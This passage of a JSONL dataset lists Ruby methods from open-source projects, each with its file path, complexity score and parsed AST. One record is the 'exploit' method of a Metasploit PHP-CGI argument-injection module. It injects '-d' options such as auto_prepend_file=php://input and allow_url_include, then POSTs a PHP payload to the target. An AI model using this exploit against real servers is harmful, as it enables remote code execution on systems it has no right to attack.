}]}]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id_subquery\"]}]}]}]}]}]}","id":"ad74631a-ec69-442b-8a55-21ed5857d520"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/base_request.rb","start_line":25,"raw_source":"def scopes\n        @scopes ||= build_scopes\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scopes\"]},{\"type\":\"send\",\"children\":[null,\"build_scopes\"]}]}]}","id":"a97a9a1a-0c5b-452e-8708-6d4d61b016f1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/util.rb","start_line":63,"raw_source":"def self.get_log_start_end_times(filename)\n      if filename.nil? || !File.exist?(filename)\n        return nil, nil\n      elsif filename.ends_with?('.gz')\n        log_duration_gz(filename)\n      else\n        log_duration(filename)\n      end\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_log_start_end_times\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\".gz\"]}]},{\"type\":\"send\",\"children\":[null,\"log_duration_gz\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"log_duration\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"aa0aa4a3-1d2b-4b7a-91d3-63087ac61a5f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/progress_values_calculations.rb","start_line":99,"raw_source":"def percent_complete_calculation_applicable?(work:, remaining_work:, percent_complete:)\n      WorkPackage.work_based_mode? && # only applicable in work-based mode\n        work && remaining_work && percent_complete && # only applicable if all 3 values are set\n        work != 0 && # only applicable if not leading to divisions by zero\n        percent_complete != 100 && # keep 100% complete as is\n        remaining_work >= 0 && work >= remaining_work # only applicable if positive and work is greater than remaining work\n    end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"percent_complete_calculation_applicable?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work\"]},{\"type\":\"kwarg\",\"children\":[\"remaining_work\"]},{\"type\":\"kwarg\",\"children\":[\"percent_complete\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"work_based_mode?\"]},{\"type\":\"lvar\",\"children\":[\"work\"]}]},{\"type\":\"lvar\",\"children\":[\"remaining_work\"]}]},{\"type\":\"lvar\",\"children\":[\"percent_complete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percent_complete\"]},\"!=\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_work\"]},\">=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"remaining_work\"]}]}]}]}","id":"10109c22-a871-4fb2-b043-919a3d189b6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service.rb","start_line":53,"raw_source":"def update_stages!\n        pipeline.stages.ordered.each { |stage| update_stage!(stage) }\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_stages!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"stages\"]},\"ordered\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stage\"]}]},{\"type\":\"send\",\"children\":[null,\"update_stage!\",{\"type\":\"lvar\",\"children\":[\"stage\"]}]}]}]}","id":"0889c29a-e9c6-4646-80f4-510806d5ce4e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/oclint.rb","start_line":99,"raw_source":"def self.ensure_regex_is_not_string!(regex)\n        return regex unless regex.kind_of?(String)\n\n        Regexp.new(regex)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ensure_regex_is_not_string!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"regex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]}]}]}","id":"7c129132-a6b2-4c30-ac1c-d07dc5320081"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generated_attribute_test.rb","start_line":218,"raw_source":"def test_parse_required_attribute_with_index\n    att = Rails::Generators::GeneratedAttribute.parse(\"supplier:references:index\")\n    assert_equal \"supplier\", att.name\n    assert_equal :references, att.type\n    assert_predicate att, :has_index?\n    assert_predicate att, :required?\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_required_attribute_with_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"att\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"GeneratedAttribute\"]},\"parse\",{\"type\":\"str\",\"children\":[\"supplier:references:index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"supplier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"att\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"references\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"att\"]},\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"att\"]},{\"type\":\"sym\",\"children\":[\"has_index?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"att\"]},{\"type\":\"sym\",\"children\":[\"required?\"]}]}]}]}","id":"cb40a879-cb21-4870-89b6-02ed3bbd1739"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb","start_line":204,"raw_source":"def rhost\n    URI.parse(datastore[\"JSONP_URL\"]).host\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"JSONP_URL\"]}]}]},\"host\"]}]}","id":"6072a802-f329-458c-83b6-3216a2da4ff0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":763,"raw_source":"def self.spaceship_session_env\n      ENV[\"FASTLANE_SESSION\"] || ENV[\"SPACESHIP_SESSION\"]\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"spaceship_session_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FASTLANE_SESSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SPACESHIP_SESSION\"]}]}]}]}","id":"52a91379-8ccc-48e2-887c-7b3d3ea9c360"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_cgi_arg_injection.rb","start_line":115,"raw_source":"def exploit\n    args = [\n      rand_spaces,\n      create_arg('-d', \"allow_url_include=#{rand_php_ini_true}\"),\n      create_arg('-d', \"safe_mode=#{rand_php_ini_false}\"),\n      create_arg('-d', \"suhosin.simulation=#{rand_php_ini_true}\"),\n      create_arg('-d', 'disable_functions=\"\"'),\n      create_arg('-d', 'open_basedir=none'),\n      create_arg('-d', 'auto_prepend_file=php://input'),\n      create_arg('-d', \"cgi.force_redirect=#{rand_php_ini_false}\"),\n      create_arg('-d', 'cgi.redirect_status_env=0'),\n      rand_opt_equiv('-n')\n    ]\n\n    qs = args.join\n\n    # Has to be all on one line, so gsub out the comments and the newlines\n    payload_oneline = '<?php ' + payload.encoded.gsub(/\\s*#.*$/, '').gsub(\"\\n\", '')\n    send_request_cgi({\n      'method' => 'POST',\n      'global' => true,\n      'uri' => \"#{uri}?#{qs}\",\n      'data' => payload_oneline\n    }, 0.5)\n  rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused\n    print_error('The target service is unreachable')\n  rescue ::OpenSSL::SSL::SSLError\n    print_error('The target failed to negotiate SSL, is this really an SSL service?')\n  end","complexity_score":36.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_spaces\"]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"allow_url_include=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_php_ini_true\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"safe_mode=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_php_ini_false\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"suhosin.simulation=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_php_ini_true\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"disable_functions=\\\"\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"open_basedir=none\"]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"auto_prepend_file=php://input\"]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cgi.force_redirect=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_php_ini_false\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_arg\",{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"cgi.redirect_status_env=0\"]}]},{\"type\":\"send\",\"children\":[null,\"rand_opt_equiv\",{\"type\":\"str\",\"children\":[\"-n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"join\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_oneline\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*#.*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"global\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qs\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"payload_oneline\"]}]}]},{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The target service is unreachable\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenSSL\"]},\"SSL\"]},\"SSLError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The target failed to negotiate SSL, is this really an SSL service?\"]}]}]},null]}]}","id":"92b4d45a-b52c-4f0b-81c6-1a2500327bb8"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":206,"raw_source":"def expect_working_days_only_disabled\n      expect(container)\n        .to have_field(\"work_package[ignore_non_working_days]\", disabled: true)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_working_days_only_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"work_package[ignore_non_working_days]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"64e79aca-db59-4968-ac2d-2df3b7f847d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/queries/chat/channel_memberships_query.rb","start_line":5,"raw_source":"def self.call(channel:, limit: 50, offset: 0, username: nil, count_only: false)\n      query =\n        Chat::UserChatChannelMembership\n          .joins(:user)\n          .includes(:user)\n          .where(user: User.real.activated.not_staged.not_suspended.not_silenced)\n          .where(chat_channel: channel)\n\n      query = query.where(following: true) if channel.category_channel?\n\n      return query.count if count_only\n\n      if channel.category_channel? && channel.read_restricted? && channel.allowed_group_ids\n        query =\n          query.where(\n            \"user_id IN (SELECT user_id FROM group_users WHERE group_id IN (?))\",\n            channel.allowed_group_ids,\n          )\n      end\n\n      if username.present?\n        if SiteSetting.prioritize_username_in_ux || !SiteSetting.enable_names\n          query = query.where(\"users.username_lower ILIKE ?\", \"%#{username}%\")\n        else\n          query =\n            query.where(\n              \"LOWER(users.name) ILIKE ? OR users.username_lower ILIKE ?\",\n              \"%#{username}%\",\n              \"%#{username}%\",\n            )\n        end\n      end\n\n      if SiteSetting.prioritize_username_in_ux || !SiteSetting.enable_names\n        query = query.order(\"users.username_lower ASC\")\n      else\n        query = query.order(\"users.name ASC, users.username_lower ASC\")\n      end\n\n      query.offset(offset).limit(limit)\n    end","complexity_score":56.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel\"]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"kwoptarg\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"count_only\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatChannelMembership\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"activated\"]},\"not_staged\"]},\"not_suspended\"]},\"not_silenced\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"category_channel?\"]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"following\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_only\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"count\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"category_channel?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"read_restricted?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"allowed_group_ids\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"user_id IN (SELECT user_id FROM group_users WHERE group_id IN (?))\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"allowed_group_ids\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"present?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"prioritize_username_in_ux\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_names\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"users.username_lower ILIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"where\",{\"type\":\"str\",\"children\":[\"LOWER(users.name) ILIKE ? OR users.username_lower ILIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"prioritize_username_in_ux\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_names\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"order\",{\"type\":\"str\",\"children\":[\"users.username_lower ASC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"order\",{\"type\":\"str\",\"children\":[\"users.name ASC, users.username_lower ASC\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"offset\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}","id":"3659a82c-fc80-4438-ada9-d8bf2052449a"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_mock_response.rb","start_line":209,"raw_source":"def each(&block)\n      term = TERM\n      @body.each do |chunk|\n        size = chunk.bytesize\n        next if size == 0\n\n        yield [size.to_s(16), term, chunk.b, term].join\n      end\n      yield TAIL\n      yield term\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"term\",{\"type\":\"const\",\"children\":[null,\"TERM\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"bytesize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"lvar\",\"children\":[\"term\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"b\"]},{\"type\":\"lvar\",\"children\":[\"term\"]}]},\"join\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TAIL\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}]}","id":"7dc0758b-e2ec-4620-8725-dff01a9617c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/parser/test.rb","start_line":80,"raw_source":"def is_holiday?(flag)\n          flag.nil? ? true : !!flag\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"is_holiday?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"!\"]},\"!\"]}]}]}","id":"6264cc2b-e1e3-4a60-994d-1f049c353e6f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/suggested_topics_builder.rb","start_line":68,"raw_source":"def results_left\n    SiteSetting.suggested_topics - @results.size\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"results_left\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"suggested_topics\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"size\"]}]}]}","id":"b7c9ac18-eacd-4994-89fc-9739775c3653"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/admin_ai_features.rb","start_line":23,"raw_source":"def has_listed_modules?(count)\n        page.has_css?(\"#{FEATURES_PAGE} .ai-module\", count: count)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_listed_modules?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FEATURES_PAGE\"]}]},{\"type\":\"str\",\"children\":[\" .ai-module\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}","id":"0350b12a-d7be-48fb-a9ee-5bd52f0f681e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/accounts_controller.rb","start_line":74,"raw_source":"def account_id_param\n    params[:id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_id_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"b6a0e93a-17f0-48c9-b85d-5a74b62fcc36"}
